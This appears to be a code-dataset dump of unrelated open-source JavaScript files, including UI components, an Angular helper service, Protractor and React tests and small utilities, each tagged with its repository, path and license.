return renderElement(
srcElement,
dstElement,
() => this.fetchModel()
);
}
async fetchModel() {
const query = toPairs(this.opts)
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
.join('&');
const [ profile, repos ] = await Promise.all([
fetchAsJson(`${BASE_URL}/users/${this.uid}`),
fetchAsJson(`${BASE_URL}/users/${this.uid}/repos?per_page=${this.perPage}&${query}`)
]);
const m = Object.assign({ repos }, profile);
console.log('GithubProfile: Model %o', m);
return m;
}
}
| kui/k-ui.jp | src/_js/lib/github-profile.js | JavaScript | mit | 988 |
/* Module to create a paste */
var gist = require('octonode').client().gist();
module.exports = function(text, channel, number, Callback) {
gist.create({
description: number + ' lines of logs from ' + channel + ' irc channel' ,
public: true,
files: {
"log.txt": {
content : text
}
}
}, function (error, response) {
Callback(response.html_url);
});
};
| shrikrishnaholla/optimus | util/paste.js | JavaScript | mit | 385 |
/**
* Copyright (c) 2014, 2016, Oracle and/or its affiliates.
* The Universal Permissive License (UPL), Version 1.0
*/
"use strict";
define(["ojs/ojcore","jquery","ojs/ojeditablevalue"],function(a,g){a.Pa("oj._ojRadioCheckbox",g.oj.baseComponent,{version:"1.0.0",defaultElement:"\x3cinput\x3e",widgetEventPrefix:"oj",options:{disabled:null,checked:null,type:null},label:function(){void 0===this.nc&&(this.nc=this.pT());return this.nc},refresh:function(){this._super();this.ab()},refreshDisabled:function(){this.aW()},setSelectedClass:function(a){this.element.toggleClass("oj-selected",a);this.nc.toggleClass("oj-selected",a);this.Fi&&
this.Fi.toggleClass("oj-selected",a)},widget:function(){return this.dka},Yf:function(a,c){var d;this._super(a,c);"checked"in c||(this.WY=!0,d=!!this.element.prop("checked"),this.option("checked",d,{_context:{nb:!0}}));if("boolean"!==typeof this.options.checked)throw Error("checked option must be a boolean");"disabled"in c||(d=!!this.element.prop("disabled"),this.option("disabled",d,{_context:{nb:!0}}));if("boolean"!==typeof this.options.disabled)throw Error("disabled option must be a boolean");"type"in
c||this.option("type",this.element.prop("type"),{_context:{nb:!0}})},_ComponentCreate:function(){this._super();var a=this.options.type;"checkbox"==a?(this.dka=this.element.addClass("oj-checkbox oj-component"),this.nc=this.pT(),this.nc.addClass("oj-checkbox-label")):"radio"==a&&(this.dka=this.element.addClass("oj-radio oj-component"),this.nc=this.pT(),this.nc.addClass("oj-radio-label"));this.Fi=this.Uta();this._focusable(this.element);this.Fi&&(this.We({element:this.Fi}),this.Gk({element:this.Fi}),
this._focusable({element:this.Fi,applyHighlight:!0}));this.We({element:this.nc});this.Gk({element:this.nc});g.each(this.nc,function(){g(this.childNodes).wrapAll("\x3cspan class\x3d'oj-radiocheckbox-label-text'\x3e\x3c/span\x3e");var a=document.createElement("span");a.setAttribute("class","oj-radiocheckbox-icon");this.appendChild(a)});this.ab()},XB:function(a){this.wE=a.attr("class")},hy:function(){this.wE?this.element.attr("class",this.wE):this.element.removeAttr("class")},ab:function(){this.aW();
this.WY||this.xE(this.options.checked);this.options.checked&&this.setSelectedClass(this.options.checked)},xE:function(a){this.element.prop("checked",!!a)},aW:function(){this.Zf()?(this.element.prop("disabled",!0).removeAttr("aria-disabled").removeClass("oj-enabled").addClass("oj-disabled"),this.nc.removeClass("oj-enabled").addClass("oj-disabled"),this.Fi&&this.Fi.removeClass("oj-enabled").addClass("oj-disabled")):(this.element.prop("disabled",!1).removeAttr("aria-disabled").removeClass("oj-disabled").addClass("oj-enabled"),
this.nc.addClass("oj-enabled").removeClass("oj-disabled"),this.Fi&&this.Fi.addClass("oj-enabled").removeClass("oj-disabled"))},_setOption:function(a,c){this._superApply(arguments);"disabled"===a&&(c=!!c,this.aW(c));"checked"===a&&(this.xE(c),this.setSelectedClass(c))},pT:function(){var b=this.element.closest("label"),c="label[for\x3d'"+this.element.prop("id")+"']",d=g(c),b=b.add(d);0===d.length&&(c=this.element.siblings(c),b.add(c));0===b.length&&a.t.warn("Could not find a label associated to the input element.");
return b},Uta:function(){var b;if(this.nc&&(b=this.nc.parent())&&(b.hasClass("oj-choice-row")||b.hasClass("oj-choice-row-inline")))return b;a.t.warn("The radioset/checkboxset's input and label dom should be wrapped in a dom node with class 'oj-choice-row' or 'oj-choice-row-inline'");return null},getNodeBySubId:function(a){var c=this._super(a);c||(a=a.subId,"oj-radiocheckbox-input"===a&&(c=this.element[0]),"oj-radiocheckbox-label"===a&&(c=this.label()[0]));return c||null},_destroy:function(){var a=
this._super();this.Fi&&(this.pQ(this.Fi),this.oQ(this.Fi));this.pQ(this.nc);this.oQ(this.nc);var c=this.options.type;"checkbox"==c?this.nc.removeClass("oj-enabled oj-disabled oj-selected oj-checkbox-label"):"radio"==c&&this.nc.removeClass("oj-enabled oj-disabled oj-selected oj-radio-label");this.Fi&&this.Fi.removeClass("oj-enabled oj-disabled oj-selected");g.each(this.nc,function(){this.removeChild(this.getElementsByClassName("oj-radiocheckbox-icon")[0]);var a=this.getElementsByClassName("oj-radiocheckbox-label-text");
void 0!==a&&g(a[0].childNodes[0]).unwrap()});return a}})}); | OncoreLLC/CalOrders | CalOrdersJET/src/js/libs/oj/v2.2.0/min/ojradiocheckbox.js | JavaScript | mit | 4,289 |
module.exports = {
tabWidth: 2,
semi: false,
singleQuote: true,
trailingComma: 'es5',
}
| assistant-os/assistant-os | packages/interfaces/desktop/.prettierrc.js | JavaScript | mit | 96 |
if(typeof exports === 'object') {
var assert = require("assert");
var alasql = require('..');
var _ = require('lodash');
} else {
__dirname = '.';
};
describe('Test 276 INFORMATION_SCHEMA', function() {
it('1. Prepare databases', function(done) {
alasql('CREATE DATABASE test276; USE test276');
alasql('CREATE TABLE one (a INT, b NVARCHAR(10))');
alasql('INSERT INTO one VALUES (1,"One"), (2,"Two"), (3,"Three"), (4,"Four")');
alasql('CREATE VIEW view_one AS SELECT * FROM one WHERE a > 2');
var res = alasql('SELECT * FROM INFORMATION_SCHEMA.[VIEWS] WHERE TABLE_CATALOG = "test276"');
assert.deepEqual(res,
[ { TABLE_CATALOG: 'test276', TABLE_NAME: 'view_one' } ]
);
// console.log(res);
done();
});
it('2. INFORMATION_SCHEMA', function(done) {
assert(alasql.databases.test276.tables.view_one);
alasql.options.modifier = 'RECORDSET';
alasql(' IF EXISTS (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.VIEWS \
WHERE TABLE_NAME = "view_one") DROP VIEW view_one');
// console.log(Object.keys(alasql.databases.test276.tables).length);
assert(!alasql.databases.test276.tables.view_one);
done();
});
it('99. Drop databases', function(done) {
alasql.options.modifier = undefined;
alasql('DROP DATABASE test276');
done();
});
});
| kanghj/alasql | test/test276.js | JavaScript | mit | 1,346 |
/**
* @ngdoc service
* @name umbraco.services.angularHelper
* @function
*
* @description
* Some angular helper/extension methods
*/
function angularHelper($q) {
var requiredFormProps = ["$error", "$name", "$dirty", "$pristine", "$valid", "$submitted", "$pending"];
function collectAllFormErrorsRecursively(formCtrl, allErrors) {
// loop over the error dictionary (see https://docs.angularjs.org/api/ng/type/form.FormController#$error)
var keys = Object.keys(formCtrl.$error);
if (keys.length === 0) {
return;
}
keys.forEach(validationKey => {
var ctrls = formCtrl.$error[validationKey];
ctrls.forEach(ctrl => {
if (!ctrl) {
// this happens when $setValidity('err', true) is called on a form controller without specifying the 3rd parameter for the control/form
// which just means that this is an error on the formCtrl itself
allErrors.push(formCtrl); // add the error
}
else if (isForm(ctrl)) {
// sometimes the control in error is the same form so we cannot recurse else we'll cause an infinite loop
// and in this case it means the error is assigned directly to the form, not a control
if (ctrl === formCtrl) {
allErrors.push(ctrl); // add the error
return;
}
// recurse with the sub form
collectAllFormErrorsRecursively(ctrl, allErrors);
}
else {
// it's a normal control
allErrors.push(ctrl); // add the error
}
});
});
}
function isForm(obj) {
// a method to check that the collection of object prop names contains the property name expected
function allPropertiesExist(objectPropNames) {
//ensure that every required property name exists on the current object
return _.every(requiredFormProps, function (item) {
return _.contains(objectPropNames, item);
});
}
//get the keys of the property names for the current object
var props = _.keys(obj);
//if the length isn't correct, try the next prop
if (props.length < requiredFormProps.length) {
return false;
}
//ensure that every required property name exists on the current scope property
return allPropertiesExist(props);
}
return {
countAllFormErrors: function (formCtrl) {
var allErrors = [];
collectAllFormErrorsRecursively(formCtrl, allErrors);
return allErrors.length;
},
/**
* Will traverse up the $scope chain to all ancestors until the predicate matches for the current scope or until it's at the root.
* @param {any} scope
* @param {any} predicate
*/
traverseScopeChain: function (scope, predicate) {
var s = scope.$parent;
while (s) {
var result = predicate(s);
if (result === true) {
return s;
}
s = s.$parent;
}
return null;
},
/**
* Method used to re-run the $parsers for a given ngModel
* @param {} scope
* @param {} ngModel
* @returns {}
*/
revalidateNgModel: function (scope, ngModel) {
this.safeApply(scope, function() {
angular.forEach(ngModel.$parsers, function (parser) {
parser(ngModel.$viewValue);
});
});
},
/**
* Execute a list of promises sequentially. Unlike $q.all which executes all promises at once, this will execute them in sequence.
* @param {} promises
* @returns {}
*/
executeSequentialPromises: function (promises) {
//this is sequential promise chaining, it's not pretty but we need to do it this way.
//$q.all doesn't execute promises in sequence but that's what we want to do here.
if (!Utilities.isArray(promises)) {
throw "promises must be an array";
}
//now execute them in sequence... sorry there's no other good way to do it with angular promises
var j = 0;
function pExec(promise) {
j++;
return promise.then(function (data) {
if (j === promises.length) {
return $q.when(data); //exit
}
else {
return pExec(promises[j]); //recurse
}
});
}
if (promises.length > 0) {
return pExec(promises[0]); //start the promise chain
}
else {
return $q.when(true); // just exit, no promises to execute
}
},
/**
* @ngdoc function
* @name safeApply
* @methodOf umbraco.services.angularHelper
* @function
*
* @description
* This checks if a digest/apply is already occuring, if not it will force an apply call
*/
safeApply: function (scope, fn) {
if (scope.$$phase || (scope.$root && scope.$root.$$phase)) {
if (angular.isFunction(fn)) {
fn();
}
}
else {
if (angular.isFunction(fn)) {
scope.$apply(fn);
}
else {
scope.$apply();
}
}
},
isForm: isForm,
/**
* @ngdoc function
* @name getCurrentForm
* @methodOf umbraco.services.angularHelper
* @function
*
* @description
* Returns the current form object applied to the scope or null if one is not found
*/
getCurrentForm: function (scope) {
//NOTE: There isn't a way in angular to get a reference to the current form object since the form object
// is just defined as a property of the scope when it is named but you'll always need to know the name which
// isn't very convenient. If we want to watch for validation changes we need to get a form reference.
// The way that we detect the form object is a bit hackerific in that we detect all of the required properties
// that exist on a form object.
//
//The other way to do it in a directive is to require "^form", but in a controller the only other way to do it
// is to inject the $element object and use: $element.inheritedData('$formController');
var form = null;
for (var p in scope) {
if (_.isObject(scope[p]) && p !== "this" && p.substr(0, 1) !== "$") {
if (this.isForm(scope[p])) {
form = scope[p];
break;
}
}
}
return form;
},
/**
* @ngdoc function
* @name validateHasForm
* @methodOf umbraco.services.angularHelper
* @function
*
* @description
* This will validate that the current scope has an assigned form object, if it doesn't an exception is thrown, if
* it does we return the form object.
*/
getRequiredCurrentForm: function (scope) {
var currentForm = this.getCurrentForm(scope);
if (!currentForm || !currentForm.$name) {
throw "The current scope requires a current form object (or ng-form) with a name assigned to it";
}
return currentForm;
},
/**
* @ngdoc function
* @name getNullForm
* @methodOf umbraco.services.angularHelper
* @function
*
* @description
* Returns a null angular FormController, mostly for use in unit tests
* NOTE: This is actually the same construct as angular uses internally for creating a null form but they don't expose
* any of this publicly to us, so we need to create our own.
* NOTE: The properties has been added to the null form because we use them to get a form on a scope.
*
* @param {string} formName The form name to assign
*/
getNullForm: function (formName) {
return {
$error: {},
$dirty: false,
$pristine: true,
$valid: true,
$submitted: false,
$pending: undefined,
$addControl: Utilities.noop,
$removeControl: Utilities.noop,
$setValidity: Utilities.noop,
$setDirty: Utilities.noop,
$setPristine: Utilities.noop,
$name: formName
};
}
};
}
angular.module('umbraco.services').factory('angularHelper', angularHelper);
| dawoe/Umbraco-CMS | src/Umbraco.Web.UI.Client/src/common/services/angularhelper.service.js | JavaScript | mit | 9,351 |
Template.podDisplay.helpers({
number: function() {
var string = "+" + this.pid;
return string;
},
id: function() {
var string = this._id._str;
return string;
},
voltage: function() {
return Math.round(this.voltage/10)/10;
},
imei: function() {
return this.imei;
},
owner: function() {
if (this.owner == Meteor.userId()) {
return "thumbs-up";
} else {
return "thumbs-down";
}
},
public: function() {
if (this.public) {
return "thumbs-up";
} else {
return "thumbs-down";
}
},
isowner: function() {
return (this.owner == Meteor.userId());
},
});
| PulsePod/MeteorApp | client/views/pods/pod_page.js | JavaScript | mit | 625 |
function maiorNumero(array, numero) {
var novo = [];
for(var i = 0; i < array.length; i++) if (array[i] > numero) novo.push(array[i]);
return novo;
}
console.log(maiorNumero([70, 2, 9, 65, 5, -1, 0, 89, -5], 7))
//https://pt.stackoverflow.com/q/460976/101
| maniero/SOpt | JavaScript/Algorithm/GreatherThan.js | JavaScript | mit | 270 |
function signout(){
element(by.id('userDropdown')).click();
element(by.id('signout')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /#!/.test(url);
});
});
expect(browser.getTitle()).toEqual('UF Bands - Member Portal'); //Start Page
}
describe('Admin Testing', function(){
it('should log in as admin', function(){
browser.get('http://localhost:3000');
element(by.id('login')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /home/.test(url);
});
});
element(by.id('username')).sendKeys('jwatkins');
element(by.id('password')).sendKeys('cen3031bandapp');
element(by.id('signin')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /admin/.test(url);
});
});
expect(element(by.id('header')).getText()).toEqual('Hello, Admin');
});
it('should be able to view rosters', function(){
browser.get('http://localhost:3000/#!/admin/rosters');
expect(element(by.id('header')).getText()).toEqual('Band Rosters');
/* element(by.id('backButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /admin/.test(url);
});
});*/
});
it('should be able to view uniforms', function(){
browser.get('http://localhost:3000/#!/admin/uniforms');
expect(element(by.id('header')).getText()).toEqual('Uniform Repairs');
element(by.id('backButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /admin/.test(url);
});
});
});
it('should be able to view instruments', function(){
browser.get('http://localhost:3000/#!/admin/instruments');
expect(element(by.id('header')).getText()).toEqual('Instrument Repairs');
element(by.id('backButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /admin/.test(url);
});
});
});
it('should be able to view pending applications', function(){
element(by.id('listAppButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /bandapplications/.test(url);
});
});
});
it('should be able to edit moderators', function(){
browser.get('http://localhost:3000/#!/mods/list');
element(by.id('editButton')).click();
element(by.id('firstName')).clear();
element(by.id('firstName')).sendKeys("Blake");
element(by.id('lastName')).clear();
element(by.id('lastName')).sendKeys("Garcia");
element(by.id('username')).clear();
element(by.id('username')).sendKeys("uni-mod");
element(by.id('password')).clear();
element(by.id('password')).sendKeys("Password");
element(by.id('email')).clear();
element(by.id('email')).sendKeys("[email protected]");
element(by.id('submitButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /list/.test(url);
});
});
});
it('should create new music paths', function(){
browser.get('http://localhost:3000/#!/home/admin');
element(by.id('createMusicButton')).click();
browser.driver.wait(function() {
return browser.driver.getCurrentUrl().then(function(url) {
return /create/.test(url);
});
});
element(by.id('title')).sendKeys("Title");
element(by.id('composer')).sendKeys("Composer");
element.all(by.repeater('instrument in instruments')).click();
element(by.id('path')).sendKeys("Path");
element(by.id('submit')).click();
});
it('should sign out', function(){
browser.get('http://localhost:3000/#!/home/admin');
signout();
});
});
| dhua20/UFBands | Tests/adminTests.js | JavaScript | mit | 4,179 |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @emails react-core
*/
'use strict';
let React;
let ReactFeatureFlags;
let ReactDOM;
let Scheduler;
let mockDevToolsHook;
let allSchedulerTags;
let allSchedulerTypes;
let onCommitRootShouldYield;
let act;
describe('updaters', () => {
beforeEach(() => {
jest.resetModules();
allSchedulerTags = [];
allSchedulerTypes = [];
onCommitRootShouldYield = true;
ReactFeatureFlags = require('shared/ReactFeatureFlags');
ReactFeatureFlags.enableUpdaterTracking = true;
ReactFeatureFlags.debugRenderPhaseSideEffectsForStrictMode = false;
mockDevToolsHook = {
injectInternals: jest.fn(() => {}),
isDevToolsPresent: true,
onCommitRoot: jest.fn(fiberRoot => {
if (onCommitRootShouldYield) {
Scheduler.unstable_yieldValue('onCommitRoot');
}
const schedulerTags = [];
const schedulerTypes = [];
fiberRoot.memoizedUpdaters.forEach(fiber => {
schedulerTags.push(fiber.tag);
schedulerTypes.push(fiber.elementType);
});
allSchedulerTags.push(schedulerTags);
allSchedulerTypes.push(schedulerTypes);
}),
onCommitUnmount: jest.fn(() => {}),
onPostCommitRoot: jest.fn(() => {}),
onScheduleRoot: jest.fn(() => {}),
};
jest.mock(
'react-reconciler/src/ReactFiberDevToolsHook.old',
() => mockDevToolsHook,
);
jest.mock(
'react-reconciler/src/ReactFiberDevToolsHook.new',
() => mockDevToolsHook,
);
React = require('react');
ReactDOM = require('react-dom');
Scheduler = require('scheduler');
act = require('jest-react').act;
});
it('should report the (host) root as the scheduler for root-level render', async () => {
const {HostRoot} = require('react-reconciler/src/ReactWorkTags');
const Parent = () => <Child />;
const Child = () => null;
const container = document.createElement('div');
await act(async () => {
ReactDOM.render(<Parent />, container);
});
expect(allSchedulerTags).toEqual([[HostRoot]]);
await act(async () => {
ReactDOM.render(<Parent />, container);
});
expect(allSchedulerTags).toEqual([[HostRoot], [HostRoot]]);
});
it('should report a function component as the scheduler for a hooks update', async () => {
let scheduleForA = null;
let scheduleForB = null;
const Parent = () => (
<React.Fragment>
<SchedulingComponentA />
<SchedulingComponentB />
</React.Fragment>
);
const SchedulingComponentA = () => {
const [count, setCount] = React.useState(0);
scheduleForA = () => setCount(prevCount => prevCount + 1);
return <Child count={count} />;
};
const SchedulingComponentB = () => {
const [count, setCount] = React.useState(0);
scheduleForB = () => setCount(prevCount => prevCount + 1);
return <Child count={count} />;
};
const Child = () => null;
await act(async () => {
ReactDOM.render(<Parent />, document.createElement('div'));
});
expect(scheduleForA).not.toBeNull();
expect(scheduleForB).not.toBeNull();
expect(allSchedulerTypes).toEqual([[null]]);
await act(async () => {
scheduleForA();
});
expect(allSchedulerTypes).toEqual([[null], [SchedulingComponentA]]);
await act(async () => {
scheduleForB();
});
expect(allSchedulerTypes).toEqual([
[null],
[SchedulingComponentA],
[SchedulingComponentB],
]);
});
it('should report a class component as the scheduler for a setState update', async () => {
const Parent = () => <SchedulingComponent />;
class SchedulingComponent extends React.Component {
state = {};
render() {
instance = this;
return <Child />;
}
}
const Child = () => null;
let instance;
await act(async () => {
ReactDOM.render(<Parent />, document.createElement('div'));
});
expect(allSchedulerTypes).toEqual([[null]]);
expect(instance).not.toBeNull();
await act(async () => {
instance.setState({});
});
expect(allSchedulerTypes).toEqual([[null], [SchedulingComponent]]);
});
it('should cover cascading updates', async () => {
let triggerActiveCascade = null;
let triggerPassiveCascade = null;
const Parent = () => <SchedulingComponent />;
const SchedulingComponent = () => {
const [cascade, setCascade] = React.useState(null);
triggerActiveCascade = () => setCascade('active');
triggerPassiveCascade = () => setCascade('passive');
return <CascadingChild cascade={cascade} />;
};
const CascadingChild = ({cascade}) => {
const [count, setCount] = React.useState(0);
Scheduler.unstable_yieldValue(`CascadingChild ${count}`);
React.useLayoutEffect(() => {
if (cascade === 'active') {
setCount(prevCount => prevCount + 1);
}
return () => {};
}, [cascade]);
React.useEffect(() => {
if (cascade === 'passive') {
setCount(prevCount => prevCount + 1);
}
return () => {};
}, [cascade]);
return count;
};
const root = ReactDOM.createRoot(document.createElement('div'));
await act(async () => {
root.render(<Parent />);
expect(Scheduler).toFlushAndYieldThrough([
'CascadingChild 0',
'onCommitRoot',
]);
});
expect(triggerActiveCascade).not.toBeNull();
expect(triggerPassiveCascade).not.toBeNull();
expect(allSchedulerTypes).toEqual([[null]]);
await act(async () => {
triggerActiveCascade();
expect(Scheduler).toFlushAndYieldThrough([
'CascadingChild 0',
'onCommitRoot',
'CascadingChild 1',
'onCommitRoot',
]);
});
expect(allSchedulerTypes).toEqual([
[null],
[SchedulingComponent],
[CascadingChild],
]);
await act(async () => {
triggerPassiveCascade();
expect(Scheduler).toFlushAndYieldThrough([
'CascadingChild 1',
'onCommitRoot',
'CascadingChild 2',
'onCommitRoot',
]);
});
expect(allSchedulerTypes).toEqual([
[null],
[SchedulingComponent],
[CascadingChild],
[SchedulingComponent],
[CascadingChild],
]);
// Verify no outstanding flushes
Scheduler.unstable_flushAll();
});
it('should cover suspense pings', async done => {
let data = null;
let resolver = null;
let promise = null;
const fakeCacheRead = () => {
if (data === null) {
promise = new Promise(resolve => {
resolver = resolvedData => {
data = resolvedData;
resolve(resolvedData);
};
});
throw promise;
} else {
return data;
}
};
const Parent = () => (
<React.Suspense fallback={<Fallback />}>
<Suspender />
</React.Suspense>
);
const Fallback = () => null;
let setShouldSuspend = null;
const Suspender = ({suspend}) => {
const tuple = React.useState(false);
setShouldSuspend = tuple[1];
if (tuple[0] === true) {
return fakeCacheRead();
} else {
return null;
}
};
await act(async () => {
ReactDOM.render(<Parent />, document.createElement('div'));
expect(Scheduler).toHaveYielded(['onCommitRoot']);
});
expect(setShouldSuspend).not.toBeNull();
expect(allSchedulerTypes).toEqual([[null]]);
await act(async () => {
setShouldSuspend(true);
});
expect(Scheduler).toHaveYielded(['onCommitRoot']);
expect(allSchedulerTypes).toEqual([[null], [Suspender]]);
expect(resolver).not.toBeNull();
await act(() => {
resolver('abc');
return promise;
});
expect(Scheduler).toHaveYielded(['onCommitRoot']);
expect(allSchedulerTypes).toEqual([[null], [Suspender], [Suspender]]);
// Verify no outstanding flushes
Scheduler.unstable_flushAll();
done();
});
it('should cover error handling', async () => {
let triggerError = null;
const Parent = () => {
const [shouldError, setShouldError] = React.useState(false);
triggerError = () => setShouldError(true);
return shouldError ? (
<ErrorBoundary>
<BrokenRender />
</ErrorBoundary>
) : (
<ErrorBoundary>
<Yield value="initial" />
</ErrorBoundary>
);
};
class ErrorBoundary extends React.Component {
state = {error: null};
componentDidCatch(error) {
this.setState({error});
}
render() {
if (this.state.error) {
return <Yield value="error" />;
}
return this.props.children;
}
}
const Yield = ({value}) => {
Scheduler.unstable_yieldValue(value);
return null;
};
const BrokenRender = () => {
throw new Error('Hello');
};
const root = ReactDOM.createRoot(document.createElement('div'));
await act(async () => {
root.render(<Parent shouldError={false} />);
});
expect(Scheduler).toHaveYielded(['initial', 'onCommitRoot']);
expect(triggerError).not.toBeNull();
allSchedulerTypes.splice(0);
onCommitRootShouldYield = true;
await act(async () => {
triggerError();
});
expect(Scheduler).toHaveYielded(['onCommitRoot', 'error', 'onCommitRoot']);
expect(allSchedulerTypes).toEqual([[Parent], [ErrorBoundary]]);
// Verify no outstanding flushes
Scheduler.unstable_flushAll();
});
it('should distinguish between updaters in the case of interleaved work', async () => {
const {
FunctionComponent,
HostRoot,
} = require('react-reconciler/src/ReactWorkTags');
let triggerLowPriorityUpdate = null;
let triggerSyncPriorityUpdate = null;
const SyncPriorityUpdater = () => {
const [count, setCount] = React.useState(0);
triggerSyncPriorityUpdate = () => setCount(prevCount => prevCount + 1);
Scheduler.unstable_yieldValue(`SyncPriorityUpdater ${count}`);
return <Yield value={`HighPriority ${count}`} />;
};
const LowPriorityUpdater = () => {
const [count, setCount] = React.useState(0);
triggerLowPriorityUpdate = () => {
React.startTransition(() => {
setCount(prevCount => prevCount + 1);
});
};
Scheduler.unstable_yieldValue(`LowPriorityUpdater ${count}`);
return <Yield value={`LowPriority ${count}`} />;
};
const Yield = ({value}) => {
Scheduler.unstable_yieldValue(`Yield ${value}`);
return null;
};
const root = ReactDOM.createRoot(document.createElement('div'));
root.render(
<React.Fragment>
<SyncPriorityUpdater />
<LowPriorityUpdater />
</React.Fragment>,
);
// Render everything initially.
expect(Scheduler).toFlushAndYield([
'SyncPriorityUpdater 0',
'Yield HighPriority 0',
'LowPriorityUpdater 0',
'Yield LowPriority 0',
'onCommitRoot',
]);
expect(triggerLowPriorityUpdate).not.toBeNull();
expect(triggerSyncPriorityUpdate).not.toBeNull();
expect(allSchedulerTags).toEqual([[HostRoot]]);
// Render a partial update, but don't finish.
act(() => {
triggerLowPriorityUpdate();
expect(Scheduler).toFlushAndYieldThrough(['LowPriorityUpdater 1']);
expect(allSchedulerTags).toEqual([[HostRoot]]);
// Interrupt with higher priority work.
ReactDOM.flushSync(triggerSyncPriorityUpdate);
expect(Scheduler).toHaveYielded([
'SyncPriorityUpdater 1',
'Yield HighPriority 1',
'onCommitRoot',
]);
expect(allSchedulerTypes).toEqual([[null], [SyncPriorityUpdater]]);
// Finish the initial partial update
triggerLowPriorityUpdate();
expect(Scheduler).toFlushAndYield([
'LowPriorityUpdater 2',
'Yield LowPriority 2',
'onCommitRoot',
]);
});
expect(allSchedulerTags).toEqual([
[HostRoot],
[FunctionComponent],
[FunctionComponent],
]);
expect(allSchedulerTypes).toEqual([
[null],
[SyncPriorityUpdater],
[LowPriorityUpdater],
]);
// Verify no outstanding flushes
Scheduler.unstable_flushAll();
});
});
| mosoft521/react | packages/react-reconciler/src/__tests__/ReactUpdaters-test.internal.js | JavaScript | mit | 12,490 |
define(
[
'whynot/Assembler'
],
function(
Assembler
) {
'use strict';
describe('Assembler', function() {
var assembler;
beforeEach(function() {
assembler = new Assembler();
});
function truth() {
return true;
}
describe('.test()', function() {
it('generates a test instruction', function() {
var instruction = assembler.test(truth);
chai.expect(instruction.op).to.equal('test');
chai.expect(instruction.func).to.equal(truth);
});
it('generates a test instruction with data', function() {
var instruction = assembler.test(truth, 'meep');
chai.expect(instruction.op).to.equal('test');
chai.expect(instruction.func).to.equal(truth);
chai.expect(instruction.data).to.equal('meep');
});
it('appends the instruction to the program', function() {
var instruction = assembler.test(truth);
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('.jump()', function() {
it('generates a jump instruction', function() {
var instruction = assembler.jump([1, 2, 3]);
chai.expect(instruction.op).to.equal('jump');
chai.expect(instruction.data).to.deep.equal([1, 2, 3]);
});
it('appends the instruction to the program', function() {
var instruction = assembler.jump([]);
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('.record()', function() {
var data = {};
describe('without recorder', function() {
it('generates a record instruction', function() {
var instruction = assembler.record(data);
chai.expect(instruction.op).to.equal('record');
chai.expect(instruction.func(instruction.data, 0)).to.equal(data);
});
it('appends the instruction to the program', function() {
var instruction = assembler.record(data);
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('with recorder', function() {
function recorder(data, index) {
return 'meep';
}
it('generates a record instruction', function() {
var instruction = assembler.record(data, recorder);
chai.expect(instruction.op).to.equal('record');
chai.expect(instruction.func(instruction.data, 0)).to.equal('meep');
});
it('appends the instruction to the program', function() {
var instruction = assembler.record(data, recorder);
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
});
describe('.bad()', function() {
it('generates a bad instruction', function() {
var instruction = assembler.bad();
chai.expect(instruction.op).to.equal('bad');
});
it('appends the instruction to the program', function() {
var instruction = assembler.bad();
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('.accept()', function() {
it('generates an accept instruction', function() {
var instruction = assembler.accept();
chai.expect(instruction.op).to.equal('accept');
});
it('appends the instruction to the program', function() {
var instruction = assembler.accept();
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('.fail()', function() {
describe('unconditional', function() {
it('generates a fail instruction', function() {
var instruction = assembler.fail();
chai.expect(instruction.op).to.equal('fail');
chai.expect(instruction.func).to.equal(null);
});
it('appends the instruction to the program', function() {
var instruction = assembler.fail();
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
describe('conditional', function() {
function conditional() {
return false;
}
it('generates a fail instruction', function() {
var instruction = assembler.fail(conditional);
chai.expect(instruction.op).to.equal('fail');
chai.expect(instruction.func).to.equal(conditional);
});
it('appends the instruction to the program', function() {
var instruction = assembler.fail(conditional);
chai.expect(assembler.program[assembler.program.length - 1]).to.equal(instruction);
});
});
});
});
}
);
| DrRataplan/whynot.js | test/specs/Assembler.tests.js | JavaScript | mit | 4,487 |
import Authenticated from 'nag-admin/routes/authenticated';
import {fbEmailKeyScrubber} from 'nag-admin/helpers/fb-email-key-scrubber';
export default Authenticated.extend({
model: function() {
if (this.get('authentication.isAuthenticated')) {
//email address identifies user. So we need to look up email by provider and scrub it.
var provider = this.get('authentication.auth.provider');
var email = this.get('authentication.'+provider+'.email');
return this.store.find('sec/user', fbEmailKeyScrubber(email));
} else {
console.log('not authenticated');
return null;
}
}
});
| Blacktiger/nagadmin | app/routes/dashboard.js | JavaScript | mit | 604 |
export default {
unknown: 'Unknown',
anonymous: 'Anonymous',
activeCalls: 'Active calls',
};
// @key: @#@"unknown"@#@ @source: @#@"Unknown"@#@
// @key: @#@"anonymous"@#@ @source: @#@"Anonymous"@#@
// @key: @#@"activeCalls"@#@ @source: @#@"Active Calls"@#@
| u9520107/ringcentral-js-widget | packages/ringcentral-widgets/containers/CallCtrlPage/i18n/en-GB.js | JavaScript | mit | 263 |
version https://git-lfs.github.com/spec/v1
oid sha256:f9d974fbd0270dbd9019638384ff2f3137596c586250b7f133d4ec5d5f749eda
size 16735
| yogeshsaroya/new-cdnjs | ajax/libs/yui/3.13.0/file-html5/file-html5.js | JavaScript | mit | 130 |
define({
"id": "ID",
